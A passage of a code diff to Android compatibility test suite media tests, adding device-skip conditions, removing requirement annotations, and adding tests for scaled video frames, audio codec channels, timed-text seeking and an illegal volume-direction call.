+ if (isLowRam() && !isTV()) {
+ Log.d(TAG, "Skipping testClearKeyExceptions.");
+ return;
+ }
+
MediaCas mediaCas = null;
MediaDescrambler descrambler = null;
@@ -509,9 +550,11 @@
@Override
public void onEvent(MediaCas mediaCas, int event, int arg, byte[] data) {
Log.d(TAG, "Received MediaCas event: event=" + event
- + ", arg=" + arg + ", data=" + data);
+ + ", arg=" + arg + ", data=" + Arrays.toString(data));
if (mediaCas == mMediaCas && event == mEvent
- && arg == mArg && Arrays.equals(data, mData)) {
+ && arg == mArg && (Arrays.equals(data, mData) ||
+ data == null && mData.length == 0 ||
+ mData == null && data.length == 0)) {
mIsIdential = true;
}
mLatch.countDown();
@@ -558,4 +601,14 @@
}
return Arrays.copyOfRange(tempArray, 0, i);
}
+
+ private boolean isTV() {
+ return getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY);
+ }
+
+ private boolean isLowRam() {
+ ActivityManager am = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
+ return am.isLowRamDevice();
+ }
+
}
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java b/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
index bac46bc..397d6f1 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
@@ -38,7 +38,6 @@
import com.android.compatibility.common.util.ApiLevelUtil;
import com.android.compatibility.common.util.DynamicConfigDeviceSide;
import com.android.compatibility.common.util.MediaUtils;
-import com.android.compatibility.common.util.CddTest;
import java.io.IOException;
import java.util.HashSet;
@@ -46,8 +45,6 @@
import java.util.Arrays;
import java.util.Vector;
-import com.android.compatibility.common.util.CddTest;
-
/**
* Basic sanity test of data returned by MediaCodeCapabilities.
*/
@@ -81,7 +78,6 @@
// Android device implementations with H.264 encoders, MUST support Baseline Profile Level 3.
// SHOULD support Main Profile/ Level 4, if supported the device must also support Main
// Profile/Level 4 decoding.
- @CddTest(requirement="5.2.2/C-1-1")
public void testH264EncoderProfileAndLevel() throws Exception {
if (!MediaUtils.checkEncoder(MIMETYPE_VIDEO_AVC)) {
return; // skip
@@ -100,7 +96,6 @@
// Android device implementations with H.264 decoders, MUST support Baseline Profile Level 3.
// Android Television Devices MUST support High Profile Level 4.2.
- @CddTest(requirement="5.3.4/C-1-1/T-1-1")
public void testH264DecoderProfileAndLevel() throws Exception {
if (!MediaUtils.checkDecoder(MIMETYPE_VIDEO_AVC)) {
return; // skip
@@ -118,7 +113,6 @@
}
// Android device implementations with H.263 encoders, MUST support Level 45.
- @CddTest(requirement="5.2.1/C-1-1")
public void testH263EncoderProfileAndLevel() throws Exception {
if (!MediaUtils.checkEncoder(MIMETYPE_VIDEO_H263)) {
return; // skip
@@ -130,7 +124,6 @@
}
// Android device implementations with H.263 decoders, MUST support Level 30.
- @CddTest(requirement="5.3.2/C-1-1")
public void testH263DecoderProfileAndLevel() throws Exception {
if (!MediaUtils.checkDecoder(MIMETYPE_VIDEO_H263)) {
return; // skip
@@ -142,7 +135,6 @@
}
// Android device implementations with MPEG-4 decoders, MUST support Simple Profile Level 3.
- @CddTest(requirement="5.3.3/C-1-1")
public void testMpeg4DecoderProfileAndLevel() throws Exception {
if (!MediaUtils.checkDecoder(MIMETYPE_VIDEO_MPEG4)) {
return; // skip
@@ -158,7 +150,6 @@
// Android Television Devices MUST support the Main Profile Level 4.1 Main tier.
// When the UHD video decoding profile is supported, it MUST support Main10 Level 5 Main
// Tier profile.
- @CddTest(requirement="5.3.5/C-1-1,T-1-1,T-2-1")
public void testH265DecoderProfileAndLevel() throws Exception {
if (!MediaUtils.checkDecoder(MIMETYPE_VIDEO_HEVC)) {
return; // skip
@@ -195,8 +186,10 @@
return; // skip
}
- String urlString = dynamicConfig.getValue(AVC_BASELINE_12_KEY);
- playVideoWithRetries(urlString, 256, 144, PLAY_TIME_MS);
+ if (checkDecodeWithDefaultPlayer(MIMETYPE_VIDEO_AVC, AVCProfileBaseline, AVCLevel12)) {
+ String urlString = dynamicConfig.getValue(AVC_BASELINE_12_KEY);
+ playVideoWithRetries(urlString, 256, 144, PLAY_TIME_MS);
+ }
}
public void testAvcBaseline30() throws Exception {
@@ -204,8 +197,10 @@
return; // skip
}
- String urlString = dynamicConfig.getValue(AVC_BASELINE_30_KEY);
- playVideoWithRetries(urlString, 640, 360, PLAY_TIME_MS);
+ if (checkDecodeWithDefaultPlayer(MIMETYPE_VIDEO_AVC, AVCProfileBaseline, AVCLevel3)) {
+ String urlString = dynamicConfig.getValue(AVC_BASELINE_30_KEY);
+ playVideoWithRetries(urlString, 640, 360, PLAY_TIME_MS);
+ }
}
public void testAvcHigh31() throws Exception {
@@ -213,8 +208,10 @@
return; // skip
}
- String urlString = dynamicConfig.getValue(AVC_HIGH_31_KEY);
- playVideoWithRetries(urlString, 1280, 720, PLAY_TIME_MS);
+ if (checkDecodeWithDefaultPlayer(MIMETYPE_VIDEO_AVC, AVCProfileHigh, AVCLevel31)) {
+ String urlString = dynamicConfig.getValue(AVC_HIGH_31_KEY);
+ playVideoWithRetries(urlString, 1280, 720, PLAY_TIME_MS);
+ }
}
public void testAvcHigh40() throws Exception {
@@ -226,8 +223,10 @@
return;
}
- String urlString = dynamicConfig.getValue(AVC_HIGH_40_KEY);
- playVideoWithRetries(urlString, 1920, 1080, PLAY_TIME_MS);
+ if (checkDecodeWithDefaultPlayer(MIMETYPE_VIDEO_AVC, AVCProfileHigh, AVCLevel4)) {
+ String urlString = dynamicConfig.getValue(AVC_HIGH_40_KEY);
+ playVideoWithRetries(urlString, 1920, 1080, PLAY_TIME_MS);
+ }
}
public void testHevcMain1() throws Exception {
@@ -321,15 +320,26 @@
}
private boolean hasDecoder(String mime, int profile, int level) {
- return supports(mime, false /* isEncoder */, profile, level);
+ return supports(mime, false /* isEncoder */, profile, level, false /* defaultOnly */);
}
private boolean hasEncoder(String mime, int profile, int level) {
- return supports(mime, true /* isEncoder */, profile, level);
+ return supports(mime, true /* isEncoder */, profile, level, false /* defaultOnly */);
+ }
+
+ // Checks whether the default AOSP player can play back a specific profile and level for a
+ // given media type. If it cannot, it automatically logs that the test is skipped.
+ private boolean checkDecodeWithDefaultPlayer(String mime, int profile, int level) {
+ if (!supports(mime, false /* isEncoder */, profile, level, true /* defaultOnly */)) {
+ MediaUtils.skipTest(TAG, "default player cannot test codec");
+ return false;
+ }
+ return true;
}
private boolean supports(
- String mime, boolean isEncoder, int profile, int level) {
+ String mime, boolean isEncoder, int profile, int level,
+ boolean defaultOnly) {
MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
for (MediaCodecInfo info : mcl.getCodecInfos()) {
if (isEncoder != info.isEncoder()) {
@@ -353,6 +363,11 @@
return true;
}
}
+ // the default AOSP player picks the first codec for a specific mime type, so
+ // we can stop after the first one found
+ if (defaultOnly) {
+ return false;
+ }
} catch (IllegalArgumentException e) {
}
}
@@ -372,7 +387,6 @@
return adaptiveFormats;
}
- @CddTest(requirement="5.3/C-1-1")
public void testHaveAdaptiveVideoDecoderForAllSupportedFormats() {
Set<String> supportedFormats = new HashSet<String>();
boolean skipped = true;
@@ -476,7 +490,6 @@
}
}
- @CddTest(requirement="5.1.7/C-1-2")
public void testAllNonTunneledVideoCodecsSupportFlexibleYUV() throws IOException {
boolean skipped = true;
for (MediaCodecInfo info : mAllInfos) {
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecListTest.java b/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
index 6a74813..987d365 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
@@ -28,7 +28,6 @@
import android.media.MediaFormat;
import android.test.AndroidTestCase;
import android.util.Log;
-import com.android.compatibility.common.util.CddTest;
import java.io.File;
import java.io.IOException;
@@ -268,7 +267,7 @@
assertEquals(
"some regular codecs are not listed in all codecs", ix, mRegularInfos.length);
}
- @CddTest(requirement="5/C-0-1,5.2/C-1-1,H-0-1,H-0-2,A-0-1,A-0-2,T-0-1,T-0-2,5.1.2/H-0-1,H-0-2,C-1-6,C-1-8,C-1-9,5.1.1/H-0-1,H-0-2,5.3/H-0-1,H-0-2,H-0-3,H-0-4,H-0-5,A-0-1,A-0-2,A-0-3,A-0-4,T-0-1,T-0-2,T-0-3,T-0-4,T-0-5")
+
public void testRequiredMediaCodecList() {
List<CodecType> requiredList = getRequiredCodecTypes();
List<CodecType> supportedList = getSupportedCodecTypes();
@@ -407,7 +406,6 @@
return list;
}
- @CddTest(requirement="5.1.2/C-1-1,C-1-2,C-1-3,C-1-4")
public void testFindDecoderWithAacProfile() throws Exception {
Log.d(TAG, "testFindDecoderWithAacProfile");
MediaFormat format = MediaFormat.createAudioFormat(
@@ -425,7 +423,6 @@
}
}
- @CddTest(requirement="[5.1.1/H-0-3,H-0-4,H-0-5],[5.1/T-0-1,T-0-2,T-0-3,A-1-1,A-1-2,A-1-3]")
public void testFindEncoderWithAacProfile() throws Exception {
Log.d(TAG, "testFindEncoderWithAacProfile");
MediaFormat format = MediaFormat.createAudioFormat(
@@ -443,4 +440,20 @@
assertNotNull("Profile " + profile + " must be supported.", codecName);
}
}
+
+ public void testAudioCodecChannels() {
+ for (MediaCodecInfo info : mAllInfos) {
+ String[] types = info.getSupportedTypes();
+ for (int j = 0; j < types.length; ++j) {
+ CodecCapabilities cap = info.getCapabilitiesForType(types[j]);
+ AudioCapabilities audioCap = cap.getAudioCapabilities();
+ if (audioCap == null) {
+ continue;
+ }
+ int n = audioCap.getMaxInputChannelCount();
+ Log.d(TAG, info.getName() + ": " + n);
+ assertTrue(info.getName() + " max input channel not positive: " + n, n > 0);
+ }
+ }
+ }
}
diff --git a/tests/tests/media/src/android/media/cts/MediaControllerTest.java b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
index 17588ee..ec370ef 100644
--- a/tests/tests/media/src/android/media/cts/MediaControllerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
@@ -84,6 +84,11 @@
}
}
+ public void testAdjustVolumeWithIllegalDirection() {
+ // Call the method with illegal direction. System should not reboot.
+ mController.adjustVolume(37, 0);
+ }
+
public void testVolumeControl() throws Exception {
VolumeProvider vp = new VolumeProvider(VolumeProvider.VOLUME_CONTROL_ABSOLUTE, 11, 5) {
@Override
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
index d18890f..58d803e 100644
--- a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
@@ -336,4 +336,186 @@
fail("Exception getting bitmap: " + e);
}
}
+
+ /**
+ * The following tests verifies MediaMetadataRetriever.getScaledFrameAtTime behavior.
+ */
+ public void testGetScaledFrameAtTime() {
+ int resId = R.raw.binary_counter_320x240_30fps_600frames;
+ if (!MediaUtils.hasCodecForResourceAndDomain(getContext(), resId, "video/")
+ && mPackageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+ MediaUtils.skipTest("no video codecs for resource on watch");
+ return;
+ }
+
+ MediaMetadataRetriever retriever = new MediaMetadataRetriever();
+ Resources resources = getContext().getResources();
+ AssetFileDescriptor afd = resources.openRawResourceFd(resId);
+
+ retriever.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+ try {
+ afd.close();
+ } catch (IOException e) {
+ fail("Unable to close file");
+ }
+
+ try {
+ Bitmap bitmap = retriever.getScaledFrameAtTime(
+ 2066666 /*timeUs*/ , OPTION_CLOSEST, 0 /*width*/, 120 /*height*/);
+ fail("Failed to receive exception");
+ } catch (IllegalArgumentException e) {
+ // Expect exception
+ }
+
+ try {
+ Bitmap bitmap = retriever.getScaledFrameAtTime(
+ 2066666 /*timeUs*/ , OPTION_CLOSEST, -1 /*width*/, 0 /*height*/);
+ fail("Failed to receive exception");
+ } catch (IllegalArgumentException e) {
+ // Expect exception
+ }
+
+ try {
+ Bitmap bitmap = retriever.getScaledFrameAtTime(
+ 2066666 /*timeUs*/ , OPTION_CLOSEST, -1 /*width*/, 120 /*height*/);
+ fail("Failed to receive exception");
+ } catch (IllegalArgumentException e) {
+ // Expect exception
+ }
+
+ try {
+ Bitmap bitmap = retriever.getScaledFrameAtTime(
+ 2066666 /*timeUs */, OPTION_CLOSEST, 140 /*width*/, -1 /*height*/);
+ fail("Failed to receive exception");
+ } catch (IllegalArgumentException e) {
+ // Expect exception
+ }
+
+ try {
+ Bitmap bitmap = retriever.getScaledFrameAtTime(
+ 2066666 /*timeUs */, OPTION_CLOSEST, -1 /*width*/, -1 /*height*/);
+ fail("Failed to receive exception");
+ } catch (IllegalArgumentException e) {
+ // Expect exception
+ }
+
+ // Test desided size of 160 x 120. Return should be 160 x 120
+ try {
+ Bitmap bitmap = retriever.getScaledFrameAtTime(
+ 2066666 /*timeUs */, OPTION_CLOSEST, 160 /*width*/, 120 /*height*/);
+ if (bitmap == null) {
+ fail("Failed to get scaled bitmap");
+ }
+ if (SAVE_BITMAP_OUTPUT) {
+ CodecUtils.saveBitmapToFile(bitmap, "test_160x120" + ".jpg");
+ }
+
+ if (bitmap.getWidth() != 160 /* width */) {
+ fail("Bitmap width is " + bitmap.getWidth() + "Expect: 160");
+ }
+ if (bitmap.getHeight() != 120 /* height */) {
+ fail("Bitmap height is " + bitmap.getHeight() + "Expect: 120");
+ }
+
+ } catch (Exception e) {
+ fail("Exception getting bitmap: " + e);
+ }
+
+ // Test scaled up bitmap to 640 x 480. Return should be 640 x 480
+ try {
+ Bitmap bitmap = retriever.getScaledFrameAtTime(
+ 2066666 /*timeUs */, OPTION_CLOSEST, 640 /*width*/, 480 /*height*/);
+ if (bitmap == null) {
+ fail("Failed to get scaled bitmap");
+ }
+ if (SAVE_BITMAP_OUTPUT) {
+ CodecUtils.saveBitmapToFile(bitmap, "test_640x480" + ".jpg");
+ }
+
+ if (bitmap.getWidth() != 640 /* width */) {
+ fail("Bitmap width is " + bitmap.getWidth() + "Expect: 640");
+ }
+ if (bitmap.getHeight() != 480 /* height */) {
+ fail("Bitmap height is " + bitmap.getHeight() + "Expect: 480");
+ }
+
+ } catch (Exception e) {
+ fail("Exception getting bitmap: " + e);
+ }
+
+ // Test scaled up bitmap to 320 x 120. Return should be 160 x 120
+ try {
+ Bitmap bitmap = retriever.getScaledFrameAtTime(
+ 2066666 /*timeUs */, OPTION_CLOSEST, 320 /*width*/, 120 /*height*/);
+ if (bitmap == null) {
+ fail("Failed to get scaled bitmap");
+ }
+ if (SAVE_BITMAP_OUTPUT) {
+ CodecUtils.saveBitmapToFile(bitmap, "test_320x120" + ".jpg");
+ }
+
+ if (bitmap.getWidth() != 160 /* width */) {
+ fail("Bitmap width is " + bitmap.getWidth() + "Expect: 160");
+ }
+ if (bitmap.getHeight() != 120 /* height */) {
+ fail("Bitmap height is " + bitmap.getHeight() + "Expect: 120");
+ }
+
+ } catch (Exception e) {
+ fail("Exception getting bitmap: " + e);
+ }
+
+ // Test scaled up bitmap to 160 x 240. Return should be 160 x 120
+ try {
+ Bitmap bitmap = retriever.getScaledFrameAtTime(
+ 2066666 /*timeUs */, OPTION_CLOSEST, 160 /*width*/, 240 /*height*/);
+ if (bitmap == null) {
+ fail("Failed to get scaled bitmap");
+ }
+ if (SAVE_BITMAP_OUTPUT) {
+ CodecUtils.saveBitmapToFile(bitmap, "test_160x240" + ".jpg");
+ }
+
+ if (bitmap.getWidth() != 160 /* width */) {
+ fail("Bitmap width is " + bitmap.getWidth() + "Expect: 160");
+ }
+ if (bitmap.getHeight() != 120 /* height */) {
+ fail("Bitmap height is " + bitmap.getHeight() + "Expect: 120");
+ }
+
+ } catch (Exception e) {
+ fail("Exception getting bitmap: " + e);
+ }
+
+ // Test scaled the video with aspect ratio
+ resId = R.raw.binary_counter_320x240_720x240_30fps_600frames;
+ afd = resources.openRawResourceFd(resId);
+
+ retriever.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+ try {
+ afd.close();
+ } catch (IOException e) {
+ fail("Unable to close file");
+ }
+ try {
+ Bitmap bitmap = retriever.getScaledFrameAtTime(
+ 2066666 /*timeUs */, OPTION_CLOSEST, 330 /*width*/, 240 /*height*/);
+ if (bitmap == null) {
+ fail("Failed to get scaled bitmap");
+ }
+ if (SAVE_BITMAP_OUTPUT) {
+ CodecUtils.saveBitmapToFile(bitmap, "test_330x240" + ".jpg");
+ }
+
+ if (bitmap.getWidth() != 330 /* width */) {
+ fail("Bitmap width is " + bitmap.getWidth() + "Expect: 330");
+ }
+ if (bitmap.getHeight() != 110 /* height */) {
+ fail("Bitmap height is " + bitmap.getHeight() + "Expect: 110");
+ }
+
+ } catch (Exception e) {
+ fail("Exception getting bitmap: " + e);
+ }
+ }
}
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerDrmTestBase.java b/tests/tests/media/src/android/media/cts/MediaPlayerDrmTestBase.java
index 0736f32..94e75eb 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerDrmTestBase.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerDrmTestBase.java
@@ -809,7 +809,7 @@
// Can skip conversion if ClearKey adds support for BMFF initData (b/64863112)
initData = makeCencPSSH(CLEARKEY_SCHEME_UUID, psshData);
}
- Log.d(TAG, "setupDrm: initData[" + drmScheme + "]: " + initData);
+ Log.d(TAG, "setupDrm: initData[" + drmScheme + "]: " + Arrays.toString(initData));
// diverging from GTS
mime = "cenc";
@@ -848,7 +848,7 @@
byte[] keySetId = mMediaPlayer.provideKeyResponse(
(keyType == MediaDrm.KEY_TYPE_RELEASE) ? mKeySetId : null,
response);
- Log.d(TAG, "setupDrm: provideKeyResponse -> " + keySetId);
+ Log.d(TAG, "setupDrm: provideKeyResponse -> " + Arrays.toString(keySetId));
// storing offline key for a later restore
mKeySetId = (keyType == MediaDrm.KEY_TYPE_OFFLINE) ? keySetId : null;
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerTest.java b/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
index f40fcc4..c7b64e5 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
@@ -15,6 +15,7 @@
*/
package android.media.cts;
+import android.app.ActivityManager;
import android.media.cts.R;
import android.content.Context;
@@ -31,6 +32,8 @@
import android.media.MediaMetadataRetriever;
import android.media.MediaPlayer;
import android.media.MediaPlayer.OnErrorListener;
+import android.media.MediaPlayer.OnSeekCompleteListener;
+import android.media.MediaPlayer.OnTimedTextListener;
import android.media.MediaRecorder;
import android.media.MediaTimestamp;
import android.media.PlaybackParams;
@@ -40,11 +43,13 @@
import android.media.audiofx.AudioEffect;
import android.media.audiofx.Visualizer;
import android.net.Uri;
+import android.os.Bundle;
import android.os.Environment;
import android.os.IBinder;
import android.os.PowerManager;
import android.os.ServiceManager;
import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
import android.support.test.filters.SmallTest;
import android.platform.test.annotations.RequiresDevice;
import android.util.Log;
@@ -60,7 +65,9 @@
import java.util.StringTokenizer;
import java.util.UUID;
import java.util.Vector;
+import java.util.concurrent.Callable;
import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.atomic.AtomicInteger;
import java.util.stream.Collectors;
import java.util.stream.Stream;
import junit.framework.AssertionFailedError;
@@ -418,6 +425,68 @@
}
}
+ private final class VerifyAndSignalTimedText implements MediaPlayer.OnTimedTextListener {
+
+ final boolean mCheckStartTimeIncrease;
+ final int mTargetSignalCount;
+ int mPrevStartMs = -1;
+
+ VerifyAndSignalTimedText() {
+ this(Integer.MAX_VALUE, false);
+ }
+
+ VerifyAndSignalTimedText(int targetSignalCount, boolean checkStartTimeIncrease) {
+ mTargetSignalCount = targetSignalCount;
+ mCheckStartTimeIncrease = checkStartTimeIncrease;
+ }
+
+ void reset() {
+ mPrevStartMs = -1;
+ }
+
+ @Override
+ public void onTimedText(MediaPlayer mp, TimedText text) {
+ final int toleranceMs = 500;
+ final int durationMs = 500;
+ int posMs = mMediaPlayer.getCurrentPosition();
+ if (text != null) {
+ text.getText();
+ String plainText = text.getText();
+ if (plainText != null) {
+ StringTokenizer tokens = new StringTokenizer(plainText.trim(), ":");
+ int subtitleTrackIndex = Integer.parseInt(tokens.nextToken());
+ int startMs = Integer.parseInt(tokens.nextToken());
+ Log.d(LOG_TAG, "text: " + plainText.trim() +
+ ", trackId: " + subtitleTrackIndex + ", posMs: " + posMs);
+ assertTrue("The diff between subtitle's start time " + startMs +
+ " and current time " + posMs +
+ " is over tolerance " + toleranceMs,
+ (posMs >= startMs - toleranceMs) &&
+ (posMs < startMs + durationMs + toleranceMs) );
+ assertEquals("Expected track: " + mSelectedTimedTextIndex +
+ ", actual track: " + subtitleTrackIndex,
+ mSelectedTimedTextIndex, subtitleTrackIndex);
+ assertTrue("timed text start time did not increase; current: " + startMs +
+ ", previous: " + mPrevStartMs,
+ !mCheckStartTimeIncrease || startMs > mPrevStartMs);
+ mPrevStartMs = startMs;
+ mOnTimedTextCalled.signal();
+ if (mTargetSignalCount >= mOnTimedTextCalled.getNumSignal()) {
+ reset();
+ }
+ }
+ Rect bounds = text.getBounds();
+ if (bounds != null) {
+ Log.d(LOG_TAG, "bounds: " + bounds);
+ mBoundsCount++;
+ Rect expected = new Rect(0, 0, 352, 288);
+ assertEquals("wrong bounds", expected, bounds);
+ }
+ }
+ }
+
+ }
+
static class OutputListener {
int mSession;
AudioEffect mVc;
@@ -734,12 +803,15 @@
MediaPlayer mp2 = null;
AudioEffect vc = null;
Visualizer vis = null;
- AudioManager am = null;
+ AudioManager am = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
int oldRingerMode = Integer.MIN_VALUE;
int oldVolume = Integer.MIN_VALUE;
try {
- Utils.toggleNotificationPolicyAccess(
- mContext.getPackageName(), getInstrumentation(), true /* on */);
+ if (am.getRingerMode() != AudioManager.RINGER_MODE_NORMAL
+ && !ActivityManager.isLowRamDeviceStatic()) {
+ Utils.toggleNotificationPolicyAccess(
+ mContext.getPackageName(), getInstrumentation(), true /* on */);
+ }
mp1 = new MediaPlayer();
mp1.setAudioStreamType(AudioManager.STREAM_MUSIC);
@@ -780,10 +852,12 @@
byte[] vizdata = new byte[size];
vis = new Visualizer(session);
- am = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+
oldRingerMode = am.getRingerMode();
// make sure we aren't in silent mode
- am.setRingerMode(AudioManager.RINGER_MODE_NORMAL);
+ if (am.getRingerMode() != AudioManager.RINGER_MODE_NORMAL) {
+ am.setRingerMode(AudioManager.RINGER_MODE_NORMAL);
+ }
oldVolume = am.getStreamVolume(AudioManager.STREAM_MUSIC);
am.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
@@ -838,8 +912,10 @@
if (oldVolume != Integer.MIN_VALUE) {
am.setStreamVolume(AudioManager.STREAM_MUSIC, oldVolume, 0);
}
- Utils.toggleNotificationPolicyAccess(
- mContext.getPackageName(), getInstrumentation(), false /* on == false */);
+ if (!ActivityManager.isLowRamDeviceStatic()) {
+ Utils.toggleNotificationPolicyAccess(
+ mContext.getPackageName(), getInstrumentation(), false /* on == false */);
+ }
}
}
@@ -1782,48 +1858,95 @@
}
public void testChangeTimedTextTrack() throws Throwable {
- if (!checkLoadResource(R.raw.testvideo_with_2_timedtext_tracks)) {
+ testTimedText(R.raw.testvideo_with_2_timedtext_tracks, 2,
+ new int[] {R.raw.test_subtitle1_srt, R.raw.test_subtitle2_srt},
+ new VerifyAndSignalTimedText(),
+ new Callable<Void>() {
+ @Override
+ public Void call() throws Exception {
+ selectTimedTextTrack(0);
+ mOnTimedTextCalled.reset();
+
+ mMediaPlayer.start();
+ assertTrue(mMediaPlayer.isPlaying());
+
+ // Waits until at least two subtitles are fired. Timeout is 2.5 sec.
+ // Please refer the test srt files:
+ // test_subtitle1_srt.3gp and test_subtitle2_srt.3gp
+ assertTrue(mOnTimedTextCalled.waitForCountedSignals(2, 2500) >= 2);
+
+ selectTimedTextTrack(1);
+ mOnTimedTextCalled.reset();
+ assertTrue(mOnTimedTextCalled.waitForCountedSignals(2, 2500) >= 2);
+
+ selectTimedTextTrack(2);
+ mOnTimedTextCalled.reset();
+ assertTrue(mOnTimedTextCalled.waitForCountedSignals(2, 2500) >= 2);
+
+ selectTimedTextTrack(3);
+ mOnTimedTextCalled.reset();
+ assertTrue(mOnTimedTextCalled.waitForCountedSignals(2, 2500) >= 2);
+ mMediaPlayer.stop();
+
+ assertEquals("Wrong bounds count", 2, mBoundsCount);
+ return null;
+ }
+ });
+ }
+
+ public void testSeekWithTimedText() throws Throwable {
+ AtomicInteger iteration = new AtomicInteger(5);
+ AtomicInteger num = new AtomicInteger(10);
+ try {
+ Bundle args = InstrumentationRegistry.getArguments();
+ num.set(Integer.parseInt(args.getString("num", "10")));
+ iteration.set(Integer.parseInt(args.getString("iteration", "5")));
+ } catch (Exception e) {
+ Log.w(LOG_TAG, "bad num/iteration arguments, using default", e);
+ }
+ testTimedText(R.raw.testvideo_with_2_timedtext_tracks, 2, new int[] {},
+ new VerifyAndSignalTimedText(num.get(), true),
+ new Callable<Void>() {
+ @Override
+ public Void call() throws Exception {
+ selectTimedTextTrack(0);
+ mOnSeekCompleteCalled.reset();
+ mOnTimedTextCalled.reset();
+ OnSeekCompleteListener seekListener = new OnSeekCompleteListener() {
+ @Override
+ public void onSeekComplete(MediaPlayer mp) {
+ mOnSeekCompleteCalled.signal();
+ }
+ };
+ mMediaPlayer.setOnSeekCompleteListener(seekListener);
+ mMediaPlayer.start();
+ assertTrue(mMediaPlayer.isPlaying());
+ int n = num.get();
+ for (int i = 0; i < iteration.get(); ++i) {
+ assertTrue(mOnTimedTextCalled.waitForCountedSignals(n, 15000) == n);
+ mOnTimedTextCalled.reset();
+ mMediaPlayer.seekTo(0);
+ mOnSeekCompleteCalled.waitForSignal();
+ mOnSeekCompleteCalled.reset();
+ }
+ mMediaPlayer.stop();
+ return null;
+ }
+ });
+ }
+
+ private void testTimedText(
+ int resource, int numInternalTracks, int[] subtitleResources,
+ OnTimedTextListener onTimedTextListener, Callable<?> testBody) throws Throwable {
+ if (!checkLoadResource(resource)) {
return; // skip;
}
mMediaPlayer.setDisplay(getActivity().getSurfaceHolder());
mMediaPlayer.setScreenOnWhilePlaying(true);
mMediaPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+ mMediaPlayer.setOnTimedTextListener(onTimedTextListener);
mBoundsCount = 0;
- mMediaPlayer.setOnTimedTextListener(new MediaPlayer.OnTimedTextListener() {
- @Override
- public void onTimedText(MediaPlayer mp, TimedText text) {
- final int toleranceMs = 500;
- final int durationMs = 500;
- int posMs = mMediaPlayer.getCurrentPosition();
- if (text != null) {
- String plainText = text.getText();
- if (plainText != null) {
- StringTokenizer tokens = new StringTokenizer(plainText.trim(), ":");
- int subtitleTrackIndex = Integer.parseInt(tokens.nextToken());
- int startMs = Integer.parseInt(tokens.nextToken());
- Log.d(LOG_TAG, "text: " + plainText.trim() +
- ", trackId: " + subtitleTrackIndex + ", posMs: " + posMs);
- assertTrue("The diff between subtitle's start time " + startMs +
- " and current time " + posMs +
- " is over tolerance " + toleranceMs,
- (posMs >= startMs - toleranceMs) &&
- (posMs < startMs + durationMs + toleranceMs) );
- assertEquals("Expected track: " + mSelectedTimedTextIndex +
- ", actual track: " + subtitleTrackIndex,
- mSelectedTimedTextIndex, subtitleTrackIndex);
- mOnTimedTextCalled.signal();
- }
- Rect bounds = text.getBounds();
- if (bounds != null) {
- Log.d(LOG_TAG, "bounds: " + bounds);
- mBoundsCount++;
- Rect expected = new Rect(0, 0, 352, 288);
- assertEquals("wrong bounds", expected, bounds);
- }
- }
- }
- });
mMediaPlayer.prepare();
assertFalse(mMediaPlayer.isPlaying());
@@ -1837,14 +1960,15 @@
}
});
getInstrumentation().waitForIdleSync();
- assertEquals(getTimedTextTrackCount(), 2);
+ assertEquals(getTimedTextTrackCount(), numInternalTracks);
runTestOnUiThread(new Runnable() {
public void run() {
try {
// Adds two more external subtitle files.
- loadSubtitleSource(R.raw.test_subtitle1_srt);
- loadSubtitleSource(R.raw.test_subtitle2_srt);
+ for (int subRes : subtitleResources) {
+ loadSubtitleSource(subRes);
+ }
readTimedTextTracks();
} catch (Exception e) {
throw new AssertionFailedError(e.getMessage());
@@ -1852,33 +1976,9 @@
}
});
getInstrumentation().waitForIdleSync();
- assertEquals(getTimedTextTrackCount(), 4);
+ assertEquals(getTimedTextTrackCount(), numInternalTracks + subtitleResources.length);
- selectTimedTextTrack(0);
- mOnTimedTextCalled.reset();
-
- mMediaPlayer.start();
- assertTrue(mMediaPlayer.isPlaying());
-
- // Waits until at least two subtitles are fired. Timeout is 2.5 sec.
- // Please refer the test srt files:
- // test_subtitle1_srt.3gp and test_subtitle2_srt.3gp
- assertTrue(mOnTimedTextCalled.waitForCountedSignals(2, 2500) >= 2);
-
- selectTimedTextTrack(1);
- mOnTimedTextCalled.reset();
- assertTrue(mOnTimedTextCalled.waitForCountedSignals(2, 2500) >= 2);
-
- selectTimedTextTrack(2);
- mOnTimedTextCalled.reset();
- assertTrue(mOnTimedTextCalled.waitForCountedSignals(2, 2500) >= 2);
-
- selectTimedTextTrack(3);
- mOnTimedTextCalled.reset();
- assertTrue(mOnTimedTextCalled.waitForCountedSignals(2, 2500) >= 2);
- mMediaPlayer.stop();
-
- assertEquals("Wrong bounds count", 2, mBoundsCount);
+ testBody.call();
}
